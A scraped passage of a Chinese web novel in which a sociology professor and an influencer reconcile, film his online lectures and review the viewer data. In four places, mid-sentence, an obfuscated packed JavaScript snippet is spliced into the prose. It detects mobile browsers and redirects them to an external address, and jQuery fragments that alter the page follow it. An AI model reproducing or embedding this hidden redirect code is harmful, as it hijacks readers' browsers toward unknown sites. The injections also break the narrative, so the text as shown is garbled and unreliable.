贺鸣云老实表示:“没听懂。” 江无远猜他也听不懂,贺教授怎么可能会看短剧。 江无远总结陈词:“简而言之,我们和好吧。” “不,好,不是,我的意思是,当然,我们和好吧,谢谢,”贺鸣云激动得站了起来,语无伦次的,“是我对不起,我应该先道歉。是我需要你的帮助,是我提出的合作,我不应该对你那么无礼。我……我只是还不习惯你做研究的方式,我只是赶时间,不是觉得你不会做课题。不,其实我只是,我非常想和你合作……” 他绝望地闭了闭眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093573|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图重新组织语言。 但江无远已经不需要他再解释什么了。 她在新闻专业和自媒体领域浸淫这么久,早就明白“行胜于言”这四个字的含金量。有许多人擅长文字游戏,巧言令色。她庆幸贺鸣云不是那样的人。 “可是贺教授,我对你一直很无礼啊,我都当着你的面说你的PPT丑、说你的课很催眠,你不也从来没生过我的气吗?” 贺鸣云愣住了。 他的确不爱发火,但也着实不是会忍耐的那种人。要是换做是马远征这么批评他的课,他估计早发火了。他之前还没意识到这无心的差别待遇。 “贺教授,我说过的吧,人都有擅长和不擅长的事。我不会因为你指出我的研究方法不严谨,或者觉得我的学术能力不如你,就和你绝交的。但是我心眼儿也不大,希望你以后面刺本人之过时,能稍微措辞,最好找AI润色一下,不要太伤我的自尊心,好吗?” “好的,当然,我明白了,”贺鸣云紧张地咽了口口水,“我们学校有买AI账户吗?” “早就给你下好了,”江无远伸出手,“那我们扯平了。以后我们不要吵架,有不同的想法好好交流,好不好?” 贺鸣云紧紧握住她的手:“好,特别好。那我的网课……” “明天早上九点来我家,穿帅点。我要吃麦满分和新品玫瑰拿铁,冰的。” “明白,”贺鸣云松了口气,趁热打铁递出橄榄枝,“那我,现在先请你喝一杯?” “我刚刚才喝了两杯……” 贺鸣云有些失望:“哦……” 他看起来好可怜。 江无远说:“那你请我吃晚饭?好久没吃这里的波奇饭了,你想尝尝吗?” 贺鸣云又开心了,拉了把凳子过来,示意江无远挨着他坐下。 “你平时经常和学生在这里聊天吗?” 江无远也没意识到其他桌的座位都是面对面的,只有她和贺鸣云紧紧挨在一起,她已经习惯贺教授跟个挂件似的挂在她身边了。 “每个月一两次吧,学生有很多困惑,大学里没什么人能够指导。我能提供的帮助不多,也就是陪他们聊聊天。” 贺鸣云由衷地说:“不,你……做得很好。” 他费尽心思建构理论的所谓“社会”,是由无数具体的、困惑的、渴望被照亮的个体组成的。他此前忽视的这部分,她一直在给予聆听和回应。 他潜心研究的,是社会运行的骨骼,他一直相信坚固的、科学的、不会轻易改变的东西;而她关心的,是骨骼之下流淌着的新鲜血液。他差点忘记了,血液输送氧气,会带来全新的气象和活力。两者无关高下,本就是一体。 因研究方法分歧而产生的焦躁和困惑烟消云散,取而代之的,是好奇,尊重,期待,以及,想要靠近那种温暖的渴望。 “贺教授越来越会拍马屁了嘛。” “没有拍,都是肺腑之言。我很高兴和你合作,江老师。” “好吧,”江无远拿起杯子,轻轻碰了下贺鸣云手边的水杯,“这次我收到了。合作愉快,贺教授。” “合作愉快,江老师。” 太阳落下地平线,咖啡厅亮起了灯,背景音乐的音量被调高,是泰勒·斯威夫特的一首老歌: Twoisbetterthanone. 注1:出自莎士比亚《TheMerryWivesofWindsor》,里面一个角色说“Whythentheworld''smineoyster/WhichIwithswordwillopen.(这个世界是我的牡蛎,我用刀就可以把它撬开。)”后来“Theworldismyoyster”的意思就变成了:世界是我的舞台,我随心所欲,心想事成。 24. 室内调教 贺鸣云早餐都买来了,人都站在玄关了,还假模假样、扭扭捏捏、欲拒还迎:“本来今天,我们学院也要统一录制网课的……” 江无远不吃这套:“那你回去统一录呗,早餐留下。” 贺鸣云嘟嘟囔囔,站着不动。 “行了,给你拍网课,又不是拍什么小视频,磨蹭什么呀?赶紧换鞋进来。” 贺鸣云低头一看,一双天蓝色的拖鞋。 江无远以为他在嫌弃,解释说:“就是给你买的,新的,放心穿。” 贺鸣云愣在玄关,还是不敢相信:“这是……专门给我买的?” “学校超市顺路给你买的,顺路,”江无远说,“穿吧。” 贺鸣云没在意她哄狗“吃吧”一般的语气,高高兴兴换上了他的专属拖鞋。 江无远见他跟刚才判若两人,一脸喜气洋洋,甚至有几分狗味,还以为他是因为马上要被大网红指导了,深感荣幸和兴奋。 “坐,先别激动。我去拿下装备,要先打扮打扮你。” 贺鸣云看了眼沙发边上的脏衣篓——很好,这次是空的——才坐下。 贺鸣云把早餐放到茶几上。“你先吃早餐?” “不,等会儿吃,先给你化妆,今天时间很紧,要趁自然光好的时候多拍点。” 江无远抱了一个巨大的化妆盒出来,贺鸣云心里升起一种不祥的预感。 “……我还要化妆?” 江无远举着小镜子给他看:“你不觉得你像抽大烟的吗?脸这么瘦,还面无血色的。” “不觉得,我只是体重管理做得到位,以及缺乏光照导致肤色偏白。” “那黑眼圈和法令纹呢,看到了吗?显得人很疲惫。” “没看到,我的脸看起来很精神、很硬汉、很不屈。” 江无远懒得跟他废话,两坨粉底液先给他糊脸上了。 “贺教授,你还真挺白的,用我的粉底色号都合适。” 贺鸣云努力忍受着脸被她揉捏的屈辱,含糊不清地抗议:“我白为什么还要涂粉?” “一白显百丑。在高清镜头下,脸上的瑕疵都会被放大,懂不懂啊?” “我怎么记得是一白遮百丑?” “你闭嘴吧,你懂什么美妆。眼睛也闭上,给你抹一点点眼影哦。” 江无远的手指轻轻抚过他的眼窝,贺鸣云忍不住微微发抖。 “你……你轻点。” 江老师根本没有旖旎的情丝,只有“男的好麻烦”的抱怨。“已经很轻了,再矫情,眼珠子给你挖出来。” “……你这态度怎么一百八十度大转弯的。” 江无远捧着化妆镜,让他自己看:“怎么样?是不是变帅了?” 贺鸣云说实话,真没看出来,按他的审美来看,非但没变帅,反而变得有点gay。 “像日本艺伎,惨白惨白的。” 江无远虚心接受他的意见:“嗯,得给你补点腮红,提提气色。” 她手起刀落,不知从哪里摸出把炸毛刷子。 “哎,别……” “你别乱动,等会儿给你画成猴屁股啊。” 贺鸣云好想拔腿就跑。他错了,他真的错了,他从一开始就不应该找江无远合作,如果他不和江无远合作,他的底线也不会降低,如果他的底线不降低,他也不会沦落到这么一个强买强卖滴地方,如果他不沦落到这么一个强买强卖滴地方,他也就不用受人为刀俎我为鱼肉的屈辱了……(注1) 江无远喃喃自语:“好像有点不协调……嗯……噢!眉毛!我给你修下眉。” 贺鸣云绝望地喊:“身体发肤受之父母!” 他一慌乱就会乱背谚语和诗句,不知道受了什么胎教。 江无远无视他的抗议,左手托着贺鸣云的下巴,右手持眉刀给他修眉。 贺鸣云眼睛绝望地一闭,在心里默念:都是为了工作……为了事业做出牺牲也在所难免……我们是纯粹出于利益交换的同事……是兄弟……兄弟,兄弟,你好香…… 他们离得太近了,近到能闻到江无远身上的香味。在这本来应该亲个嘴、暧个昧的场合,贺鸣云男主角失格,一个没忍住,打了个喷嚏。 江无远手一抖,削去他一截眉毛。 两人同时愣住,大眼瞪大眼。 江无远先破功,笑倒在沙发上。 贺鸣云看了眼镜子,现在他倒是不像艺伎了,像个被啤酒瓶开过瓢的街溜子。 他本想生气,但看着江无远笑得眼泪都要流出来了,那点不爽又突然烟消云散,说出来的话比起威胁,更像是在撒娇: “现在怎么办?你要对我的眉毛负责。” “负责的,肯定负责,”江无远坐直了,“我给你画一下眉,保证老师和学生都看不出来。” 贺鸣云怀疑地瞪了她一眼。 “真的,喏,你看。是不是很精神、很硬汉、很不屈。” 贺鸣云不满地看着镜子里的自己,说实话他觉得有点像牛郎。 “等等,再给你涂点口红。” 江无远熟练地拧开口红,用棉签粘了点膏体。 贺鸣云挣扎:“我是男的!” “管你男的女的,知道这支多少钱吗?YSL的!” 管你YSL还是SCI,这口红她不是用过的吗?这不是间接那什么吗? 贺教授没见过这种风浪,拼命往后面躲,直到背抵在沙发靠背上——好硬的沙发靠背——他退无可退。 “躲什么?怎么了,涂点口红就不阳刚了?自我认同这么脆弱?你们男的真是不行。” “我就是不习惯……” “嘴巴闭上,别乱动。” 江无远懒得跟他废话,左手捏住贺鸣云的脸颊,把他钳制住,右手给他涂口红。 贺鸣云又想起身、又想离她远点,靠老腰努力,保持着这个别扭的、半躺半坐的姿势。 棉棒在嘴唇的触感非常突出,非常明显,也非常……暧昧,搞得他心里痒痒的。 贺鸣云绝望地闭上眼,感到他的阳刚之气和自我认同正在加速瓦解。 他错了,他真的错了,他从一开始就不应该找江无远合作,如果他不和江无远合作,他的底线也不会降低,如果他的底线不降低,他也不会沦落到这么一个强买强卖滴地方,如果他不沦落到这么一个强买强卖滴地方,他也就不用受人为刀俎我为鱼肉的屈辱了…… 兄弟,你怎么越来越香了…… 江无远对自己的作品非常满意,执意拍了张照留存。 “贺教授,你现在有点像《偷偷爱你》里面的梁朝伟诶!” 管你什么伟,贺鸣云只想赶快逃跑:“我想上个洗手间,可以吗?” 江无远逗他:“我要是不允许呢?” 贺鸣云立刻起身:“那我去楼下麦当劳上,稍等。” “哎等等,回来,跟你开玩笑的,怎么这么老实啊?快去吧。” 贺鸣云口干舌燥,想洗把冷水脸,水龙头都拧开了,才想起来江老师刚给他化好妆,帅脸不能沾水。 他呆呆地望着镜子里的自己。 梁朝伟?像吗? 女性应该普遍觉得梁朝伟很有魅力吧? 江老师喜欢梁朝伟吗? 梁朝伟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不要发箍?”江无远拿出一副猫猫耳朵造型的耳机,“这个怎么样?这是监听耳机,可爱得很低调。” 贺鸣云面无表情:“我是来录网课,不是来受刑的。” 江无远看出他的僵硬,调暗了过于时髦的变色灯,在他面前放上一杯刚刚泡好的热红茶。 “放心,贺教授,我是专业的,不会让你在学生面前丢脸的。你在学生眼里,会是一个又帅又聪明又有意思的无死角教授。” “我不是怀疑你,我是在自我怀疑。” “小看我?我可是大网红,我的拍摄和剪辑技术,比你们学院请的团队厉害多了。喏,专业的打光。” 贺鸣云被补光板一照,热得不行。 “我可不可以不穿西装?好热。” 江无远埋头找监听耳机,随口应和:“脱脱脱,穿衬衣就行。” 她一抬头,正好瞧见贺鸣云在解衬衣的第二颗扣子。 “哎哎哎,干嘛呢你?不准脱了,注意男德。平时可以解开两颗,上课只准解一颗。” 贺鸣云嘀嘀咕咕又把扣子给扣上。 “你明天穿件白T来就行了,干嘛非穿衬衣。”江无远说这句话100%出于对贺鸣云的关怀体贴,绝对没有一点想看胸肌的私心。 贺鸣云振振有词:“我这是尊重学生。” “你尊重他们,干嘛表现得这么猥琐?” 贺鸣云简直难以置信:“我哪里猥琐了?” “你眼神别老躲躲闪闪的,好好看镜头,斜视看起来很猥琐。给你看,刚拍的。” 江无远把手机递给他看,照片里的贺鸣云眼斜嘴歪,看起来智商较低,身材也不太曼妙。 “……不准偷拍我,删了。” 江无远做了个鬼脸:“就不删,以后拿来要挟你送我二作。” “……不用要挟。” 注1:《武林外传》佟湘玉台词。 25. 似有隐疾 江无远怎么拍怎么不满意,问:“你怎么老往下瞄?你到底在看什么东西啊?” 她一急起来,语气就有点凶,凶得贺鸣云委屈巴巴的。 “我紧张,紧张就忘词……所以打了个小抄……” “小抄?” 江无远翻看他手机上的pdf,这是他们之前一起准备的课程讲稿。江无远特意把讲稿做得简短,一是方便贺鸣云记,二是鼓励他自由发挥。然而现在一看,在讲稿的基础上,贺鸣云又附上了许多参考资料,内容惊人的翔实,甚至包括“学生可能会提的问题”这种纯属自欺欺人、白日做梦的栏目。 这是网课啊,谁会提问题啊? 不是,就是贺鸣云在冰洋大学上的必修课,也没人问他问题啊? 贺鸣云不知道她在腹诽什么,略带娇羞地问:“我做得不错吧?” 江无远看着额头微微冒汗、一脸认真、穿着开了一颗扣子的白衬衣的贺鸣云,实在是说不出什么难听的话——她好歹也是个有爱美之心的正常女性。 “你已经准备得很好了,贺教授,你对自己没信心吗?” 贺鸣云想都没想就说:“没什么信心。” 江无远愣了下:“你怎么不按常理出牌?” 贺鸣云要录的网课是《社会流动》。 所谓社会流动,就是个人或者群体在社会分层结构中位置的变动,比如创业成功实现阶级跃升,比如考上大学成为家族第一个大学生,都算社会流动的案例。 贺鸣云缺乏自信的原因在于,他就是专业研究社会分层和社会流动的,他的研究已经做得很深很精,反而拿捏不好讲基础知识的尺度。 在学校“你好我好大家好,千万不能让学生跳楼”的指导原则下,贺鸣云自觉出的题已经够简单了,却还是每个期末都被学生千奇百怪的答卷气得心梗。 这两年他也有意放慢了上课的节奏,降低了讲课的难度,可每每看向学生时,对上的眼神仍是一半睡意朦胧,另一半清澈愚蠢。 连他专心辅导的博士生钟若晚,都在写了一篇《性别与流动:生育对女性职业发展的影响》后,就立刻背叛师门转移了研究方向,让他备受打击,怀疑自己是不是真的只会做研究,不会传道授业解惑。 江无远倒是宽慰他,说她“大概能听懂他在说什么”。 得了吧,她就是出于关爱才这么说的,他们一起设计课件的时候,江老师一天得睡着了七八次。 贺鸣云叹了口气,把注意力重新集中到课件上来。 按照江无远的建议,他会先和学生互动,让学生思考自己家庭的社会地位变迁。 “大家好,我想先请大家思考,你现在处于什么经济地位,你父母……不对,我应该先说测评的尺度,重来。” “大家好,我想先请大家思考,按贫困、普通、小康、中产、富裕来分类,你家现在处于什么经济地位?你和配偶,不对,你们还没结婚……你的祖父母、外祖父母又处于什么经济地位?” 江无远挥手示意他加两个动作。 贺鸣云僵硬地伸手比划了一下,接着背台词: “大家看,PPT上有一个坐标图。从祖辈到父辈,再到我们自己,哎不对,你们还没组建家庭,等一下,我重来。” “……从祖辈到父辈,很多家庭在这个坐标轴上的位置发生了变化。这就是我们这节课要讲的内容:社会流动。” 他才讲了个开头,已经开始出汗。 江无远于心不忍,罔顾环保要求,把空调调低到了22度。 “贺教授,你讲得挺好的,我们的课程设计无懈可击、非常有趣,你也非常上镜、很有魅力,你要相信自己。” 他显然一点也不信,眉头皱得深如马里亚纳海沟。本来正常上课都有点尴尬,现在还让他无实物表演,真是强人所难,匪夷所思。 江无远对症下药:“那你把我当成学生怎么样?我就呆在镜头后面,你看着我讲,我会和你互动的。” 怎么互动?当着他的面陷入沉睡吗? 贺鸣云不抱期待,清了清嗓子,看着江无远说:“首先,我想请同学们做两道选择题。” 江无远故作兴奋,猛烈点头。 “第一个问题:你认为自己未来的经济地位,会比父母高,和父母差不多,还是比父母低?” 江无远高举右手,传达出“我肯定比我爸妈有出息”的强烈自信。 “第二个问题:你认为一个人能否实现阶级跨越,最重要的影响因素是什么?A.个人努力;B.家庭背景;C.时代机遇;D.教育水平。” 江无远在脸颊边比划了一个“C”,像爱豆在饭撒(fanservice),看得贺鸣云一愣一愣的。 “好的,请课代表收一下……不对,这是网课,额……” 贺鸣云又开始卡壳,眼神不由自主,飘向镜头外的江无远求救。 江无远连比带画,无声地说:“评论!评——论——” 贺鸣云试图理解,试探地说:“槟榔?饼干?” “饼干你个鬼啊!评论!在评论区投票呀。” ***** 他把江无远说饿了。 江无远让他再熟悉下稿子,自己溜到外面把早餐加热了,嘎嘣嘎嘣吃。 贺鸣云闻到香味跟了出来,略带渴望地看着她。 Jiangdoesn’tsharefood.(注1) 江无远说:“这是我的。” 贺鸣云指出:“是我买的。” “那怎么了?动产的物权已经转移了。” 贺鸣云直抒胸臆:“我想吃薯饼。” “怎么不听人说话呢?” 贺鸣云把叛逆贯彻到底:“我能开冰箱吗?” “开什么冰箱,”江无远从电视柜里抱出个小箱子,“来,零食罐,自便。” 贺鸣云凑过去翻找了下,说:“不爱吃这些甜不拉几的,我想吃薯饼。” “……你是不是以为你化了妆,我就不敢扇你了?” ***** 江无远把iPad找出来,放上他俩提前做好的讲课稿。她站到镜头后面,把小抄的内容放给贺鸣云看。 “这样能看清吗?” 贺鸣云努力抬头去看。 “能,就是脖子有点累。” 江无远索性蹲到摄像机正下方,把iPad举过头顶。“这样呢?是不是平视效果?” 贺鸣云看到她白白净净的手,和圆溜溜瞪大的、亮晶晶的眼睛,像只白色的小猫。 贺鸣云放任自己的思维继续发散,具体来说,像白猫洗洁精那只白猫。他小时候洗碗用的就是白猫洗洁精…… 这个柔软的意向让贺鸣云心里一动,只觉得胸中有无限柔情,语调也自然而然,变得温和又居家:“嗯,刚刚好。” “那继续吧,我这么牺牲奉献,你再敢卡壳,我真扇你了啊。” 原来她不是眼睛亮晶晶,是目露凶光啊,贺鸣云不动声色,擦了下额角的冷汗。 “……社会流动既和结构压力相关,也和个人奋斗相关。下次课,我们会学习冲突论。” “冲突论认为,社会流动不是为了让社会更有效率,而是上层阶级为了维护自身特权和统治地位,有意识地控制、限制甚至制造出来的。它本质上是一种社会控制的手段。” 贺鸣云眯着眼睛看了眼小抄,又解释道: “也就是说,这是一场不公平的游戏,优势阶层制定了有利于自己的规则,限制下层流动。大家常说的‘寒门难出贵子’,就是这个意思。” 在江无远的热情互动和眼神威胁下,贺鸣云总算撑了过去。 最后,贺鸣云一脸死相,语气毫无起伏地说:“很期待下节课和大家继续讨论。” 江无远在平板上打出一行大字:“笑!笑!!!” 贺鸣云迟疑了一下,露出八颗大牙。 江无远看呆了,他笑得好像姚明那个表情包。 “……你能不能自然一点?” 贺鸣云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102800|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精疲力尽:“我笑不出来,我好累。” “你累什么了?我蹲这么久都没喊累,”江无远想站起来,小腿传来一阵酸爽的钝痛,一股钻心的麻,“哎哟……” “怎么了?” 贺鸣云想扶她,起身太快没控制好角度,膝盖磕在桌沿,脚又被凳子一绊,直接飞扑到江无远脚边,呈标准的狗吃屎状。 贺鸣云懵懵地抬头看江无远:“你没事吧?” 江无远也懵懵地望着他:“这话好像该我说吧,你摔着没有?” 硬汉的嘴也很硬:“没事,我筋骨结实。你怎么了?” “没事,就是脚麻了。” 贺鸣云笃定地开出处方:“应该让脚高于心脏。” 江无远闻言,望着他。 “请问,我要怎么让脚高于心脏?倒立?躺下来空中蹬自行车?” 两人沉默地对视。 “还是你公主抱……?” 贺鸣云思考片刻,说:“公主抱也不行,脚还是比心脏位置低。” 这是应该关注的重点吗? “……贺教授,你先爬起来,然后再扶我起来吧。” ***** 贺教授最近愈发骄纵,没录两节课就开始喊饿,跟以前不吃不喝搞学术、一心只修无情道的形象相去甚远。 江无远完全没去想是谁给他惯出来的,只一味问他吃不吃披萨。 贺鸣云已经有经验了,先问了句:“我要是不吃,还有别的吃吗?” “没有。” 他就知道。 贺鸣云凑过去看外卖软件页面:“我想吃夏威夷这个。” “你就不能吃买一送一这款吗?败家。” 贺鸣云眨巴眨巴眼睛:“也不是不行,就是难得吃一次披萨……” 他为什么会摆出“你知道的,我从小就没吃过披萨”那种表情啊! 江无远难以抵抗,冒意大利之大不韪,给他买了个10寸的夏威夷风味披萨。 他边吃还边说:“江老师,你好像很喜欢吃垃圾食品。” “你先照照镜子,看看自己的吃相行吗?” 贺鸣云笑笑:“我一直都喜欢吃垃圾食品。” 不会吧?他的身材看起来是只吃五十块一盒的沙拉(不加酱,要加也只能加牛油果泥)那种人。 贺鸣云见她不信,解释说:“本来没有多喜欢吃,只是小时候看到别人吃,就很想尝尝看。结果怎么也吃不上,食欲一直被压抑,就演变成了对垃圾食品的报复性热爱,” “你小时候家里条件不好吗?很穷吗?” 江无远话一出口就后悔了,觉得问得太冒犯,该死的夏威夷风味披萨,腐蚀了她一贯的高情商。 贺鸣云居然轻轻笑了下:“嗯,贫困。” 江无远冥思苦想该怎么安慰他,谁知硬汉来了句:“不过没关系,奋斗了十八年,现在能和你坐在一起吃披萨了。” “不要脸,”江无远在桌子下面踢了贺鸣云一脚,“偷听我跟学生讲话。” ***** 在晚上八点之前,贺鸣云自觉地收拾好了餐桌,拎着垃圾袋向江无远道别,并承诺明天一早会带着早餐来继续录网课。 江无远眼前不知怎么的,浮现出儿童版本的贺鸣云在家烧饭洗碗的模样,心里涌起对一米八八男士的无限怜爱,于是把剩的两块披萨装好,慷慨表示:“你带回家吃吧,辛苦了。” “……我怎么觉得你把我当泔水桶?” 江无远不容拒绝,把披萨和一盒东西装在袋子里,塞到贺鸣云怀里:“咱俩谁跟谁,别客气了。今天吃的上火,给你拿盒药,拜拜,路上注意安全。” “我不是客气,什么药……?” 贺鸣云茫然地被她推出玄关,茫然地打开袋子一看—— 是一盒开塞露。 门关上了。 他在门口绝望地喊:“我这方面没有问题!” 注1:《老友记》Joeydoesn’tsharefood. 26. 金屋藏娇 贺鸣云的网课已经挂在网上一个礼拜了。 和以往不同,为了推进教学质量创新试点工程、扩大社会影响力,这次的新网课不仅要放在冰洋大学内部的教学系统上,还要投放在某大型视频平台C站—— 顺带一提,也就是江无远做自媒体的那个平台。 这意味着,以前只有冰洋大学的学生可以看到的网课,现在出现在了全国人民面前,将接受万千观众的审阅、评论和传播。 贺鸣云对此采取彻底的装死态度,只要江无远一提“你的网课”,他就会迅速转移话题: “你论文写得怎么样了?” “你课题访谈做得怎么样了?” “你吃饭了没?” “还没吃,早上忙别的事去了,”江无远顺势连吃带拿,“贺教授,你是不是在办公室?那你去麦当劳很顺路咯?” 贺鸣云被她抓着拍了一礼拜网课,已经伺候出了肌肉记忆。 “好的,猪柳蛋加薯饼加冰奶铁,二十分钟送到。” 二十分钟后,贺鸣云站在玄关,把早饭递给江无远,又低头换拖鞋。 他这一套操作行云流水,丝毫没意识到网课已经拍完,他送完早餐就可以滚蛋了。也不知道换上拖鞋直捣客厅,俨然一副男主人做派,究竟是何意味。 一个愿打一个愿挨,江无远等的还就是他送上门来。 不给贺鸣云一丝反应的机会,江无远推着他坐到沙发上,把笔记本电脑推到他面前。 电脑页面是冰洋大学的教务平台系统。 “贺教授,登陆你的账号。” 贺鸣云如临大敌:“你要做什么?” “辛辛苦苦拍了那么久网课,现在是庆祝丰收的时候了嘛,我们来看看你的网课数据。” 江无远的语气欢欣鼓舞,贺鸣云的脸上却闪过一丝犹疑。 “要是数据不好呢?” “不会不好的,你要相信我作为新闻传播学专业人士的判断。” 贺鸣云的脸上明明白白,写着“怀疑”二字。 此男过分理性,只能打感情牌了。 “真的,我对你的课很有信心!我对你……也很有信心!” 江无远眼睛亮亮的,鼓励地朝他点点头。 此女不简,一个眼神、一句话就能调动人的情绪。贺鸣云脸上微微发热,不知该如何应对,索性放弃抵抗,低头输入账号密码。 他犹豫着还没继续下一步,江无远眼疾手快,手伸老长,直接点进后台查看播放数据: 《社会调查与研究方法》网课,完课率93%,评分4.8,创历史新高。 贺鸣云指着完课率,脸上露出孩子一样的惊讶和满足。“这个……去年才刚刚过60%。” “是呀,恭喜你。开心吧?” 贺鸣云露出一点微笑,点了点头。 “还有更开心的呢,来看看C站上的反馈。” 江无远点开新的网页,页面上是C站的后台数据,从留存率到用户画像,一应俱全。 贺鸣云看了眼账户ID,是“冰洋大学_official”。 “我都不知道该从哪里点评起了,你怎么有学校官方账号的密码?” 江无远轻描淡写:“这个号是办公室小邱在运营,我老熟人了。” “所以你现在是偷偷登了学校的官方视频号账户,偷偷带着我一起,偷看我的网课后台数据?” “你怎么说了这么多个‘偷’?读书人的事算什么偷?你看,你的网课比张智学的点击率和好评都要高哦!” 贺鸣云不高兴从江无远嘴里听到这个名字:“本来也没想和他比。” “有理,不是一个等级的,您应该和卡尔·马克思、赫伯特·斯宾塞比。” “倒不是这个意思,”贺鸣云把笔记本放到膝盖上,皱着眉头仔细看数据,“‘币’是什么意思?” “币就类似于……观众用手投票吧,和点赞差不多,但比点赞更真情实感一点点。” “我这套视频有三百多个币,”贺鸣云看了江无远一眼,那眼神里饱含期待,“算什么水平?” 江无远不忍心让孩子失望,决定只字不提她的视频都是几千上万个币。“很好的水平!说明大家愿意花钱上你的课。” “哦。”贺鸣云依然面无表情,但微微扬起的下巴、因放松而耷拉下来的肩膀等肢体语言,彻底出卖了他明显变好的心情。 江无远指了指页面上的另一栏数据:“这是用户画像,现在平台要求实名制,所以性别和年龄的数据还算比较准确。你看,看你视频的用户,有一半是大学生年龄段的,但还有一半,是三十岁以上的社会人。贺教授,你知道这意味着什么吗?” 贺鸣云朴实地表示:“我的课比较吸引中年人?” 江无远致力于鼓励他,说:“这意味着,你教的东西,不仅需要应付考试的学生喜欢,职场人也很感兴趣。这门课不能帮他们赚钱,也不能给他们即时娱乐,但他们很喜欢。” “……是吗。” “是呀。来,我们再来看看弹幕,这一集是弹幕最多的。” 江无远点开“论教育的不公平”一集。 网课里,贺鸣云用地图展示各省985录取率差异时,弹幕挤满了屏幕。 贺鸣云试图跟上弹幕的速度,看了足足一分钟,每一条都骂得好脏。 他茫然地问江无远:“他们只是在吵架吧?” “有思考才会有争论,有争论才会有进步。这说明大家都在认真看,总比上课睡觉好吧。” 贺鸣云讲到布迪厄的文化资本和罗森塔尔实验时,弹幕开始热烈讨论学校和职场的潜规则,讨论尖子班、火箭班、清北班等分班设置。 也有弹幕抬杠:“又在给不上进找借口。”“素质教育都是骗我们农村人的,富二代比我们还卷。”“信这套躺平的这辈子有了。” 贺鸣云看到了,和江无远对视一眼。 江无远说:“你别急,你看后面,有好多弹幕反驳,很多观众明白,指出结构性不公,并不是否定个人努力。” “嗯,我知道,这个话题肯定会面对主流叙事阻力。” 他诧异的是别的事。 “其实我没讲什么新鲜的东西,为什么……”贺鸣云摸了摸下巴,若有所思,“也许是我的身份,刚好契合了他们需要被权威看见、被权威认同的心态?” “因为年轻人需要的并不是安慰,而是有人能看到和命名他们混沌的感受。当未知的恐惧被转化为可讨论、可分析的问题时,他们知道自己得的不是绝症,而是一种流行病,焦虑和自责感就会得到缓解。” 贺鸣云看着在飞速滚动的弹幕,有许多背景弱势的用户在分享他们的生活感受。他当然做过访谈和调研,当然也接触过他们,但这依然…… 让他觉得新奇。 贺鸣云沉吟片刻,说:“我以前一直觉得,我的责任是把我的学生带到领域前沿。现在好像……” 他若有所思,看起来有些困惑,又有点兴奋。 江无远明白他的想法,她偏头看向贺鸣云。 “照亮更多人的感觉不错吧,贺教授?” 是他照亮了别人吗?为什么他觉得,是他孤独的、漫长的道路上,出现了新的脚步声? 贺鸣云找不到合适的语言,表达他此时内心的波动,他只能无言望向江老师。 在她的眼睛里,他找到了和他一样的欣喜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107415|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多奇妙啊,竟然还有人,会因为他的获得,而与有荣焉。 “对了,还有条很感人的评论,让我找找。” 江无远在评论区翻找了半天,指给贺鸣云看: “我是985热门专业毕业的,上学时一直是别人家的孩子,在大厂干了两年,实在卷不动了,去年裸辞,到现在家里蹲了快一年了。中间发生很多事,觉得自己已经变成一个废物,一度想死了算了。照例失眠刷手机,偶然看到这套视频,解答了我心里很多困惑,在评论区也看到了很多有类似经历的小伙伴,心里好受了很多。不死了,准备好好休整一下,对自己说一声辛苦了,等恢复元气,再看看能做点什么吧。” 下面的评论整齐划一:“祝福你朋友。”“加油!”“辛苦了!” 贺鸣云又一次抓错了重点:“你怎么知道有这条评论的?” 江无远大惊:“你不觉得感人吗?你冷漠无情!” “感人。但我更关心的是,你是不是在我来之前,就提前检查过数据和弹幕了,所以才知道有这条评论的?” 江无远被逮了个正着。“额……巧妇难为无米之炊,不打没有准备的仗,兵马未动粮草先行……” 贺鸣云好笑地打断她:“别背谚语了。” 江无远只好点头承认:“……我昨晚找小邱要的账号密码,大概看了下情况。” 贺鸣云问:“你担心数据不好的话,我会失望、会难受,所以特意先确认过了,才让我来看?” 江无远突然发现今天窗外的风景很美,移开视线,做专心观景状,超刻意地转移话题:“贺教授,今天的阳光格外好,适合洗衣服,你觉得呢?” 贺鸣云没有戳破她,微微一笑,继续看评论去了。 ***** 复盘结束,夜色已深。 贺鸣云看着眼前屏幕上的弹幕和评论,又看了眼一直坐在他身边,显得比他还高兴的江无远。 “其实我从来不觉得网课很重要,也不觉得这些数据有什么意义。我觉得网课就像快餐,很鸡肋。但现在我发现,它们就像……另一份质性研究的底稿。我的意思是……” 或许是因为习惯反复斟酌,输出精确的论文和结项报告,在日常的对话中,贺鸣云总是词不达意。 